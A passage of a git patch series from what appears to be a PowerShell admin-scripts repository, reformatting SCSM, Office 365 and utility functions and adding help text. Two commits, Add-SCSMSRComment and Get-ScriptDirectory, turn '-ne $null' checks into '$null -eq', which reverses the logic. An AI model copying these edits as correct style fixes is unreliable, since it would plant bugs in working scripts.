ONLINE (LyncOnlineConnector) + Write-Verbose -Message "PROCESS - Create session to Lync online" + $lyncsession = New-CsOnlineSession –Credential $O365cred -ErrorAction Stop -ErrorVariable ErrorConnectExchange + Import-PSSession -Session $lyncsession -Prefix LyncCloud - # SHAREPOINT ONLINE - #Connect-SPOService -Url https://contoso-admin.sharepoint.com –credential $O365cred - } - CATCH - { - Write-Warning -Message "PROCESS - Something went wrong!" - IF ($ErrorCredential) - { - Write-Warning -Message "PROCESS - Error while gathering credential" - } - IF ($ErrorConnectMSOL) - { - Write-Warning -Message "PROCESS - Error while connecting to Azure AD" - } - IF ($ErrorConnectExchange) - { - Write-Warning -Message "PROCESS - Error while connecting to Exchange Online" - } - IF ($ErrorConnectLync) - { - Write-Warning -Message "PROCESS - Error while connecting to Lync Online" - } + # SHAREPOINT ONLINE + #Connect-SPOService -Url https://contoso-admin.sharepoint.com –credential $O365cred + } + CATCH + { + Write-Warning -Message "PROCESS - Something went wrong!" + IF ($ErrorCredential) + { + Write-Warning -Message "PROCESS - Error while gathering credential" + } + IF ($ErrorConnectMSOL) + { + Write-Warning -Message "PROCESS - Error while connecting to Azure AD" + } + IF ($ErrorConnectExchange) + { + Write-Warning -Message "PROCESS - Error while connecting to Exchange Online" + } + IF ($ErrorConnectLync) + { + Write-Warning -Message "PROCESS - Error while connecting to Lync Online" + } - Write-Warning -Message $error[0].exception.message - } - } + Write-Warning -Message $error[0].exception.message + } + } } \ No newline at end of file From f06d8fcdf6f536abdac6fb1fa4da3541963f3a70 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 26 Nov 2019 00:34:00 -0800 Subject: [PATCH 175/561] Update View-Cats --- _Profiles/functions/View-Cats.ps1 | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/_Profiles/functions/View-Cats.ps1 b/_Profiles/functions/View-Cats.ps1 index 5dd68ff5..f18a7332 100644 --- a/_Profiles/functions/View-Cats.ps1 +++ b/_Profiles/functions/View-Cats.ps1 @@ -1,12 +1,12 @@ function View-Cats { - <# - .SYNOPSIS - This will open Internet explorer and show a different cat every 5 seconds - .DESCRIPTION - .NOTES - #http://www.reddit.com/r/PowerShell/comments/2htfog/viewcats/ - #> + <# + .SYNOPSIS + This will open Internet explorer and show a different cat every 5 seconds + .DESCRIPTION + .NOTES + #http://www.reddit.com/r/PowerShell/comments/2htfog/viewcats/ + #> Param( [int]$refreshtime=5 ) From f40d07b9f0403f39b6be9cf45a388fb1279c4cb5 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 26 Nov 2019 15:40:34 -0800 Subject: [PATCH 176/561] Add help, missing param, replace tabs --- .../Get-SCSMWorkItemChildItem.ps1 | 72 +++++++++++-------- 1 file changed, 44 insertions(+), 28 deletions(-) diff --git a/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 index 009896d9..bb4dd51c 100644 --- a/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 +++ b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 @@ -1,31 +1,47 @@ -Function Get-SCSMWorkItemChildItem -{ - param ( - [Parameter(Mandatory = $True)] - $inputPWI_guid - ) - ### Variables to Return - $childWIs_obj = @() +Function Get-SCSMWorkItemChildItem { + <# + .SYNOPSIS + Retrieve item associated with a work item + .DESCRIPTION + Retrieve item associated with a work item + .PARAMETER WorkItemGUID + Specify the GUID of the WorkItem + .EXAMPLE + Get-SCSMWorkItemChildItem -WorkItemGuid $WIGuid + .NOTES + General notes + #> + [CmdletBinding()] + param ( + [Parameter(Mandatory = $True)] + $WorkItemGUID + ) + try{ + ### Variables to Return + $childWIs_obj = @() - ### MAIN - $inputPWI_obj = get-scsmobject -id $inputPWI_guid - $containsActivity_relclass_id = '2da498be-0485-b2b2-d520-6ebd1698e61b' - $childWIs_relobj_filter = "RelationshipId -eq '$containsActivity_relclass_id'" - $childWIs_relobj = Get-SCSMRelationshipObject -BySource $inputPWI_obj | Where-Object{ $_.RelationshipId -eq $containsActivity_relclass_id } - ForEach ($childWI_relobj in $childWIs_relobj) - { - if ($childWI_relobj.IsDeleted -ne 'false') - { + ### MAIN + $inputPWI_obj = get-scsmobject -id $WorkItemGUID + $containsActivity_relclass_id = '2da498be-0485-b2b2-d520-6ebd1698e61b' + $childWIs_relobj_filter = "RelationshipId -eq '$containsActivity_relclass_id'" + $childWIs_relobj = Get-SCSMRelationshipObject -BySource $inputPWI_obj | + Where-Object -FilterScript { + $_.RelationshipId -eq $containsActivity_relclass_id + } + ForEach ($childWI_relobj in $childWIs_relobj) { + if ($childWI_relobj.IsDeleted -ne 'false') { - $childWI_id = $childWI_relobj.TargetObject.id.guid - $childWI_obj = get-scsmobject -id $childWI_id - #filter for DynamicReviewerActivity - If ($childWI_obj.ClassName -eq 'System.WorkItem.Activity.ReviewActivity' -AND $childWI_obj.Title -match 'DynamicReviewerActivity') - { - $childWIs_obj += $childWI_obj - } - } - } - ### RETURN DATA - $childWIs_obj + $childWI_id = $childWI_relobj.TargetObject.id.guid + $childWI_obj = get-scsmobject -id $childWI_id + #filter for DynamicReviewerActivity + If ($childWI_obj.ClassName -eq 'System.WorkItem.Activity.ReviewActivity' -AND $childWI_obj.Title -match 'DynamicReviewerActivity') { + $childWIs_obj += $childWI_obj + } + } + } + $childWIs_obj + + }catch{ + $PSCmdlet.ThrowTerminatingError($_) + } } \ No newline at end of file From f40a04078b6634f3126f704ef98456f6b285f236 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 26 Nov 2019 15:40:59 -0800 Subject: [PATCH 177/561] Add help, replace tabs, format doc --- .../Get-SCSMWorkItemUserInput.ps1 | 142 +++++++++--------- 1 file changed, 67 insertions(+), 75 deletions(-) diff --git a/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 b/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 index c546a1cf..38e42d1b 100644 --- a/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 +++ b/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 @@ -1,79 +1,71 @@ -function Get-SCSMWorkItemUserInput -{ - <# - .NOTES - Initial version from http://itblog.no/4462 +function Get-SCSMWorkItemUserInput { + <# + .SYNOPSIS + Retrieve the input text provided by the user + .DESCRIPTION + Retrieve the input text provided by the user + .PARAMETER WorkItemObject + Specify the WorkItem Object + Typically you'll need to retrieve the object prior to use this command + .EXAMPLE + Get-SCSMWorkItemUserInput -WorkItemObject + .NOTES + Initial version from http://itblog.no/4462 + Output PSOBject instead of array + #> + [CmdletBinding()] + Param ( + $WorkItemObject + ) + BEGIN { + #Declare Vars + $userInput = "" + $ListArray = @() + } + PROCESS { + $UserInput = $WorkItemObject.UserInput + $content = [XML]$UserInput + $inputs = $content.UserInputs.UserInput + foreach ($input in $inputs) { + if ($($input.Answer) -like " - [CmdletBinding()] - Param ( - $WorkItemObject - ) - BEGIN - { - #Declare Vars - $userInput = "" - $ListArray = @() - } - PROCESS - { - $UserInput = $WorkItemObject.UserInput - $nl = [Environment]::NewLine - $content = [XML]$UserInput - $inputs = $content.UserInputs.UserInput - foreach ($input in $inputs) - { - if ($($input.Answer) -like " Date: Tue, 26 Nov 2019 15:41:17 -0800 Subject: [PATCH 178/561] Reformat script --- .../Get-SCSMIRComment.ps1 | 36 ++++++++----------- 1 file changed, 14 insertions(+), 22 deletions(-) diff --git a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 b/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 index 1faa4abc..60e429c3 100644 --- a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 +++ b/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 @@ -1,6 +1,5 @@ -function Get-SCSMIRComment -{ -<# +function Get-SCSMIRComment { + <# .SYNOPSIS Function to retrieve all the comment of a Incident Request @@ -23,39 +22,32 @@ ( [System.WorkItem.Incident[]]$Incident ) - PROCESS - { - FOREACH ($IR in $Incident) - { - TRY - { + PROCESS { + FOREACH ($IR in $Incident) { + TRY { # Retrieve Comments $FilteredIncidents = $IR.AppliesToTroubleTicket | Where-Object { $_.ClassName -eq "System.WorkItem.TroubleTicket.UserCommentLog" -OR $_.ClassName -eq "System.WorkItem.TroubleTicket.AnalystCommentLog" } - IF ($FilteredIncidents.count -gt 0) - { - FOREACH ($Comment in $FilteredIncidents) - { + IF ($FilteredIncidents.count -gt 0) { + FOREACH ($Comment in $FilteredIncidents) { $Properties = @{ - IncidentID = $IR.ID + IncidentID = $IR.ID EnteredDate = $Comment.EnteredDate - EnteredBy = $Comment.EnteredBy - Comment = $Comment.Comment - ClassName = $Comment.ClassName - IsPrivate = $Comment.IsPrivate + EnteredBy = $Comment.EnteredBy + Comment = $Comment.Comment + ClassName = $Comment.ClassName + IsPrivate = $Comment.IsPrivate } New-Object -TypeName PSObject -Property $Properties } # FOREACH } #IF Incident found } - CATCH - { - $Error[0] + CATCH { + $PSCmdlet.ThrowTerminatingError($_) } } #FOREACH ($IR in $Incident) - } #Process } #Function \ No newline at end of file From a4497466a136ece448235afc282d644ba972f043 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 26 Nov 2019 15:44:40 -0800 Subject: [PATCH 179/561] Remove Write-Log function --- TOOL-Write-Log/TOOL-Write-Log.ps1 | 39 ------------------------------- 1 file changed, 39 deletions(-) delete mode 100644 TOOL-Write-Log/TOOL-Write-Log.ps1 diff --git a/TOOL-Write-Log/TOOL-Write-Log.ps1 b/TOOL-Write-Log/TOOL-Write-Log.ps1 deleted file mode 100644 index 259686c1..00000000 --- a/TOOL-Write-Log/TOOL-Write-Log.ps1 +++ /dev/null @@ -1,39 +0,0 @@ -function Write-Log -{ -<# -.SYNOPSIS - Function to create or append a log file - -#> -[CmdletBinding()] - Param ( - [Parameter()] - $Path="", - $LogName = "$(Get-Date -f 'yyyyMMdd').log", - - [Parameter(Mandatory=$true)] - $Message = "", - - [Parameter()] - [ValidateSet('INFORMATIVE','WARNING','ERROR')] - $Type = "INFORMATIVE", - $Category - ) - BEGIN { - # Verify if the log already exists, else create it - IF (-not(Test-Path -Path $(Join-Path -Path $Path -ChildPath $LogName))){ - New-Item -Path $(Join-Path -Path $Path -ChildPath $LogName) -ItemType file - } - - } - PROCESS{ - TRY{ - "$(Get-Date -Format yyyyMMdd:HHmmss) [$TYPE] [$category] $Message" | Out-File -FilePath (Join-Path -Path $Path -ChildPath $LogName) -Append - } - CATCH{ - Write-Error -Message "Could not write into $(Join-Path -Path $Path -ChildPath $LogName)" - Write-Error -Message "Last Error:$($error[0].exception.message)" - } - } - -} \ No newline at end of file From 40ffea313366a64efada73a02adb76ca46c4d389 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 26 Nov 2019 15:44:51 -0800 Subject: [PATCH 180/561] Reformat doc --- .../Remove-StringSpecialCharacter.ps1 | 25 ++++++++----------- 1 file changed, 10 insertions(+), 15 deletions(-) diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index 25ec3a88..f599abaf 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -1,9 +1,7 @@ -function Remove-StringSpecialCharacter -{ -<# +function Remove-StringSpecialCharacter { + <# .SYNOPSIS This function will remove the special character from a string. - .DESCRIPTION This function will remove the special character from a string. I'm using Unicode Regular Expressions with the following categories @@ -48,16 +46,14 @@ function Remove-StringSpecialCharacter #[ValidateNotNullOrEmpty()] [String[]]$SpecialCharacterToKeep ) - PROCESS - { - IF ($PSBoundParameters["SpecialCharacterToKeep"]) - { + PROCESS { + IF ($PSBoundParameters["SpecialCharacterToKeep"]) { $Regex = "[^\p{L}\p{Nd}" - Foreach ($Character in $SpecialCharacterToKeep) - { - IF ($Character -eq "-"){ - $Regex +="-" - } else { + Foreach ($Character in $SpecialCharacterToKeep) { + IF ($Character -eq "-") { + $Regex += "-" + } + else { $Regex += [Regex]::Escape($Character) } #$Regex += "/$character" @@ -67,8 +63,7 @@ function Remove-StringSpecialCharacter } #IF($PSBoundParameters["SpecialCharacterToKeep"]) ELSE { $Regex = "[^\p{L}\p{Nd}]+" } - FOREACH ($Str in $string) - { + FOREACH ($Str in $string) { Write-Verbose -Message "Original String: $Str" $Str -replace $regex, "" } From 1d91d1a3a04843c3ececb064d3a1f993a7f2985f Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 21:53:44 -0800 Subject: [PATCH 181/561] Rename and update help --- .../Get-SCSMIRComment.ps1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) rename {SCSM-IR-Get-SCSMIRComment => SCSM-Get-SCSMIRComment}/Get-SCSMIRComment.ps1 (96%) diff --git a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 b/SCSM-Get-SCSMIRComment/Get-SCSMIRComment.ps1 similarity index 96% rename from SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 rename to SCSM-Get-SCSMIRComment/Get-SCSMIRComment.ps1 index 60e429c3..1b6e1668 100644 --- a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 +++ b/SCSM-Get-SCSMIRComment/Get-SCSMIRComment.ps1 @@ -20,7 +20,8 @@ [CmdletBinding()] PARAM ( - [System.WorkItem.Incident[]]$Incident + #[System.WorkItem.Incident[]] + [object[]]$Incident ) PROCESS { FOREACH ($IR in $Incident) { From ed895326775d28d60cfc5877f047de9bdb66a3cb Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 21:53:54 -0800 Subject: [PATCH 182/561] Rename and update help --- .../SCSM-Set-SCSMMAStatus.ps1 | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) rename SCSM-MA-Set-SCSMMAStatus/SCSM-MA-Set-SCSMMAStatus.ps1 => SCSM-Set-SCSMMAStatus/SCSM-Set-SCSMMAStatus.ps1 (68%) diff --git a/SCSM-MA-Set-SCSMMAStatus/SCSM-MA-Set-SCSMMAStatus.ps1 b/SCSM-Set-SCSMMAStatus/SCSM-Set-SCSMMAStatus.ps1 similarity index 68% rename from SCSM-MA-Set-SCSMMAStatus/SCSM-MA-Set-SCSMMAStatus.ps1 rename to SCSM-Set-SCSMMAStatus/SCSM-Set-SCSMMAStatus.ps1 index 687e4966..1049410c 100644 --- a/SCSM-MA-Set-SCSMMAStatus/SCSM-MA-Set-SCSMMAStatus.ps1 +++ b/SCSM-Set-SCSMMAStatus/SCSM-Set-SCSMMAStatus.ps1 @@ -1,5 +1,27 @@ Function Set-SCSMMAStatus { + <# + .SYNOPSIS + Set the status of a Manual Activity + .DESCRIPTION + Set the status of a Manual Activity + .PARAMETER ManualActivityID + Specify the ID of the Manual Activity + .PARAMETER Status + Specify the status of the Manual activity + + Status possible: + In Progress + Cancelled + Completed + Failed + On Hold + Pending + Rerun + Skipped + .EXAMPLE + Set-SCSMMAStatus -ManualActivityID MA123456 -Status 'Cancelled' + #> [CmdletBinding()] PARAM( $ManualActivityID, From b43a2878efc7a557ac342dd4b24e79ffc103050d Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 21:54:00 -0800 Subject: [PATCH 183/561] Rename and update help --- .../Add-SCSMSRComment.ps1 | 80 +++++++++---------- 1 file changed, 39 insertions(+), 41 deletions(-) rename {SCSM-SR-Add-SCSMSRComment => SCSM-Add-SCSMSRComment}/Add-SCSMSRComment.ps1 (59%) diff --git a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 b/SCSM-Add-SCSMSRComment/Add-SCSMSRComment.ps1 similarity index 59% rename from SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 rename to SCSM-Add-SCSMSRComment/Add-SCSMSRComment.ps1 index 56197e8a..acb1ee4a 100644 --- a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 +++ b/SCSM-Add-SCSMSRComment/Add-SCSMSRComment.ps1 @@ -1,56 +1,56 @@ -Function Add-SRComment -{ -<# - .SYNOPSIS - Function to add a comment inside a Service Request +Function Add-SCSMSRComment { + <# +.SYNOPSIS + Function to add a comment inside a Service Request - .DESCRIPTION - Function to add a comment inside a Service Request - You need to have SMlets installed and permission to write inside - the service request. +.DESCRIPTION + Function to add a comment inside a Service Request + You need to have SMlets installed and permission to write inside + the service request. - .PARAMETER ServiceRequestObject - Specifies the ServiceRequest where the comment will be added +.PARAMETER ServiceRequestObject + Specifies the ServiceRequest where the comment will be added - .PARAMETER Comment - Specifies the comment to add. +.PARAMETER Comment + Specifies the comment to add. - .PARAMETER CommentType - Specifies the comment type. - You need to specify 'User' or 'Analyst'. +.PARAMETER CommentType + Specifies the comment type. + You need to specify 'User' or 'Analyst'. - .PARAMETER EnteredBy - Specifies your name. +.PARAMETER EnteredBy + Specifies your name. - .PARAMETER IsPrivate - Specifies if the switch is private +.PARAMETER IsPrivate + Specifies if the switch is private - .EXAMPLE - PS C:\> Add-SRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' +.EXAMPLE + Add-SCSMSRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' - .EXAMPLE - PS C:\> Add-SRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' -IsPrivate +.EXAMPLE + Add-SCSMSRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' -IsPrivate - .NOTES - Francois-Xavier Cat - lazywinadmin.com - @lazywinadmin +.NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin - Script inspired from http://www.scsm.se/?p=1423 by Anders Asp + Script inspired from http://www.scsm.se/?p=1423 by Anders Asp #> [CmdletBinding()] PARAM ( [Alias("SRObject")] [parameter(Mandatory = $true)] - [System.WorkItem.ServiceRequest]$ServiceRequestObject, + #[System.WorkItem.ServiceRequest] + $ServiceRequestObject, [parameter(Mandatory = $True)] [String]$Comment, [ValidateSet("User", "Analyst")] [parameter(Mandatory = $True)] - [System.WorkItem.TroubleTicket] + #[System.WorkItem.TroubleTicket] [String]$CommentType, [parameter(Mandatory = $True)] @@ -58,8 +58,7 @@ [Switch]$IsPrivate ) - BEGIN - { + BEGIN{ TRY { if (-not (Get-Module -Name Smlets)) @@ -69,25 +68,24 @@ } CATCH { - $Error[0] + $PSCmdlet.ThrowTerminatingError($_) } } - PROCESS - { + PROCESS{ TRY { # Make sure that the SR Object it passed to the function - If ($ServiceRequestObject.Id -ne $NULL) + If ($null -eq $ServiceRequestObject.Id) { Switch ($CommentType) { "Analyst" { $CommentClass = "System.WorkItem.TroubleTicket.AnalystCommentLog" - $CommentClassName = "AnalystCommentLog" + #$CommentClassName = "AnalystCommentLog" } "User" { $CommentClass = "System.WorkItem.TroubleTicket.UserCommentLog" - $CommentClassName = "EndUserCommentLog" + #$CommentClassName = "EndUserCommentLog" } } # Generate a new GUID for the comment @@ -120,7 +118,7 @@ } CATCH { - $Error[0] + $PSCmdlet.ThrowTerminatingError($_) } #CATCH } #PROCESS -} # Function \ No newline at end of file +} \ No newline at end of file From 528ba469e95657d8d1add62efdad17d24bdba9a2 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 21:54:20 -0800 Subject: [PATCH 184/561] fix command based help --- TOOL-Expand-GzipFile/Expand-GzipFile.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/TOOL-Expand-GzipFile/Expand-GzipFile.ps1 b/TOOL-Expand-GzipFile/Expand-GzipFile.ps1 index 7158b05a..1ab284ad 100644 --- a/TOOL-Expand-GzipFile/Expand-GzipFile.ps1 +++ b/TOOL-Expand-GzipFile/Expand-GzipFile.ps1 @@ -3,6 +3,8 @@ Function Expand-GZipFile <# .Synopsis Unzip a gz file +.Description + Unzip a gz file .Notes Change History 1.0 | 2019/03/22 | francois-xavier cat (@lazywinadmin) From f3ef8e81bd4f6556f28409d94c8dca0d13a008c6 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 21:54:25 -0800 Subject: [PATCH 185/561] fix command based help --- TOOL-Get-NetFramework/Get-NetFramework.ps1 | 60 +++++++++++----------- 1 file changed, 31 insertions(+), 29 deletions(-) diff --git a/TOOL-Get-NetFramework/Get-NetFramework.ps1 b/TOOL-Get-NetFramework/Get-NetFramework.ps1 index a944f3f9..73e15dc4 100644 --- a/TOOL-Get-NetFramework/Get-NetFramework.ps1 +++ b/TOOL-Get-NetFramework/Get-NetFramework.ps1 @@ -1,34 +1,36 @@ function Get-NetFramework { - <# - .SYNOPSIS - This function will retrieve the list of Framework Installed on the computer. - .EXAMPLE - Get-NetFramework - - PSChildName Version - ----------- ------- - v2.0.50727 2.0.50727.4927 - v3.0 3.0.30729.4926 - Windows Communication Foundation 3.0.4506.4926 - Windows Presentation Foundation 3.0.6920.4902 - v3.5 3.5.30729.4926 - Client 4.5.51641 - Full 4.5.51641 - Client 4.0.0.0 - - .NOTES - TODO: - Credential support - ComputerName - $hklm = 2147483650 - $key = "SOFTWARE\Microsoft\NET Framework Setup" - $value = "NDP" - Get-wmiobject -list "StdRegProv" -namespace root\default -computername . | - Invoke-WmiMethod -name GetDWORDValue -ArgumentList $hklm,$key,$value | select uvalue - - #http://stackoverflow.com/questions/27375012/check-remote-wmi-and-remote-registry - #> +<# +.SYNOPSIS + This function will retrieve the list of Framework Installed on the computer. +.DESCRIPTION + This function will retrieve the list of Framework Installed on the computer. +.EXAMPLE + Get-NetFramework + + PSChildName Version + ----------- ------- + v2.0.50727 2.0.50727.4927 + v3.0 3.0.30729.4926 + Windows Communication Foundation 3.0.4506.4926 + Windows Presentation Foundation 3.0.6920.4902 + v3.5 3.5.30729.4926 + Client 4.5.51641 + Full 4.5.51641 + Client 4.0.0.0 + +.NOTES + TODO: + Credential support + ComputerName + $hklm = 2147483650 + $key = "SOFTWARE\Microsoft\NET Framework Setup" + $value = "NDP" + Get-wmiobject -list "StdRegProv" -namespace root\default -computername . | + Invoke-WmiMethod -name GetDWORDValue -ArgumentList $hklm,$key,$value | select uvalue + + #http://stackoverflow.com/questions/27375012/check-remote-wmi-and-remote-registry +#> [CmdletBinding()] PARAM ( [String[]]$ComputerName, From 3aa874584912ef8d40da7278fa16bff835a15083 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 21:54:30 -0800 Subject: [PATCH 186/561] fix command based help --- .../Get-NetFrameworkTypeAccelerator.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 index 7869f6ba..576263a9 100644 --- a/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 +++ b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 @@ -3,6 +3,9 @@ <# .SYNOPSIS Function to retrieve the list of Type Accelerator available +.DESCRIPTION + Function to retrieve the list of Type Accelerator available + .EXAMPLE Get-NetFrameworkTypeAccelerator From d9de0dc2e2c9bbbda9c6e98582f515950e8a5a06 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 21:54:36 -0800 Subject: [PATCH 187/561] fix command based help --- TOOL-Get-NetStat/Get-NetStat.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/TOOL-Get-NetStat/Get-NetStat.ps1 b/TOOL-Get-NetStat/Get-NetStat.ps1 index 5b38484c..1f8dfa7a 100644 --- a/TOOL-Get-NetStat/Get-NetStat.ps1 +++ b/TOOL-Get-NetStat/Get-NetStat.ps1 @@ -5,6 +5,8 @@ This function will get the output of netstat -n and parse the output .DESCRIPTION This function will get the output of netstat -n and parse the output +.EXAMPLE + Get-Netstat .LINK https://lazywinadmin.com/2014/08/powershell-parse-this-netstatexe.html .NOTES From 785cb1ca42992d382c91558fbcecffa21025034b Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 21:54:43 -0800 Subject: [PATCH 188/561] fix command based help --- TOOL-Get-ScriptDirectory/Get-ScriptDirectory.ps1 | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/TOOL-Get-ScriptDirectory/Get-ScriptDirectory.ps1 b/TOOL-Get-ScriptDirectory/Get-ScriptDirectory.ps1 index 1c2a8823..25524586 100644 --- a/TOOL-Get-ScriptDirectory/Get-ScriptDirectory.ps1 +++ b/TOOL-Get-ScriptDirectory/Get-ScriptDirectory.ps1 @@ -5,13 +5,15 @@ function Get-ScriptDirectory This function retrieve the current folder path .DESCRIPTION This function retrieve the current folder path +.EXAMPLE + Get-ScriptDirectory #> - if($hostinvocation -ne $null) + if($null -eq $hostinvocation) { - Split-Path $hostinvocation.MyCommand.path + Split-Path -Path $hostinvocation.MyCommand.path } else { - Split-Path $script:MyInvocation.MyCommand.Path + Split-Path -Path $script:MyInvocation.MyCommand.Path } } From 30bd9cc453e932b7d2f834afff83c655f67049be Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 21:54:48 -0800 Subject: [PATCH 189/561] fix command based help --- TOOL-Lock-Computer/Lock-Computer.ps1 | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/TOOL-Lock-Computer/Lock-Computer.ps1 b/TOOL-Lock-Computer/Lock-Computer.ps1 index 6a1c7601..1a0ea1d8 100644 --- a/TOOL-Lock-Computer/Lock-Computer.ps1 +++ b/TOOL-Lock-Computer/Lock-Computer.ps1 @@ -1,17 +1,22 @@ Function Lock-Computer { - <# - .DESCRIPTION - Function to Lock your computer - .SYNOPSIS - Function to Lock your computer - #> +<# +.DESCRIPTION + Function to Lock your computer +.SYNOPSIS + Function to Lock your computer. + This is using the win32 user32.dll library. +.EXAMPLE + Lock-Computer + + This will lock the current computer +#> $signature = @" [DllImport("user32.dll", SetLastError = true)] public static extern bool LockWorkStation(); "@ - $LockComputer = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru - $LockComputer::LockWorkStation() | Out-Null + $LockComputer = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru + $LockComputer::LockWorkStation() | Out-Null } \ No newline at end of file From a414de2bf948e60f75578fbc2467ba7717562549 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 27 Nov 2019 21:54:52 -0800 Subject: [PATCH 190/561] fix command based help --- TOOL-Out-Excel/Out-Excel.ps1 | 190 +++++++++++++++++++---------------- 1 file changed, 103 insertions(+), 87 deletions(-) diff --git a/TOOL-Out-Excel/Out-Excel.ps1 b/TOOL-Out-Excel/Out-Excel.ps1 index 758cfd34..ebebe29b 100644 --- a/TOOL-Out-Excel/Out-Excel.ps1 +++ b/TOOL-Out-Excel/Out-Excel.ps1 @@ -1,96 +1,112 @@ function Out-Excel { <# - .SYNOPSIS - .DESCRIPTION - .PARAMETER Property - .PARAMETER Raw - .NOTES - Original Script: http://pathologicalscripter.wordpress.com/out-excel/ +.SYNOPSIS + Convert PowerShellObject to Excel file +.DESCRIPTION + Convert PowerShellObject to Excel file +.PARAMETER Property + Specify the list of properties. + If not specified it will retrieve all the properties on the object +.PARAMETER Raw + Specify the input object +.EXAMPLE + Out-Excel -Raw (Get-Process -Property Name,ID) +.NOTES + Original Script version: http://pathologicalscripter.wordpress.com/out-excel/ - TODO: - Parameter to change color of header - Parameter to activate background color on Odd unit - Add TRY/CATCH - Validate Excel first is present +TODO: + Parameter to change color of header + Parameter to activate background color on Odd unit + Add TRY/CATCH + Validate Excel first is present #> - [CmdletBinding()] - PARAM ([string[]]$property, [switch]$raw) + [CmdletBinding()] + PARAM ( + [string[]]$property, + [switch]$raw + ) - BEGIN - { - # start Excel and open a new workbook - $Excel = New-Object -Com Excel.Application - $Excel.visible = $True - $Excel = $Excel.Workbooks.Add() - $Sheet = $Excel.Worksheets.Item(1) - # initialize our row counter and create an empty hashtable - # which will hold our column headers - $Row = 1 - $HeaderHash = @{ } - } + BEGIN + { + # start Excel and open a new workbook + $Excel = New-Object -Com Excel.Application + $Excel.visible = $True + $Excel = $Excel.Workbooks.Add() + $Sheet = $Excel.Worksheets.Item(1) + # initialize our row counter and create an empty hashtable + # which will hold our column headers + $Row = 1 + $HeaderHash = @{ } + } - PROCESS - { - if ($_ -eq $null) { return } - if ($Row -eq 1) - { - # when we see the first object, we need to build our header table - if (-not $property) - { - # if we haven’t been provided a list of properties, - # we’ll build one from the object’s properties - $property = @() - if ($raw) - { - $_.properties.PropertyNames | ForEach-Object{ $property += @($_) } - } - else - { - $_.PsObject.get_properties() | ForEach-Object { $property += @($_.Name.ToString()) } - } - } - $Column = 1 - foreach ($header in $property) - { - # iterate through the property list and load the headers into the first row - # also build a hash table so we can retrieve the correct column number - # when we process each object - $HeaderHash[$header] = $Column - 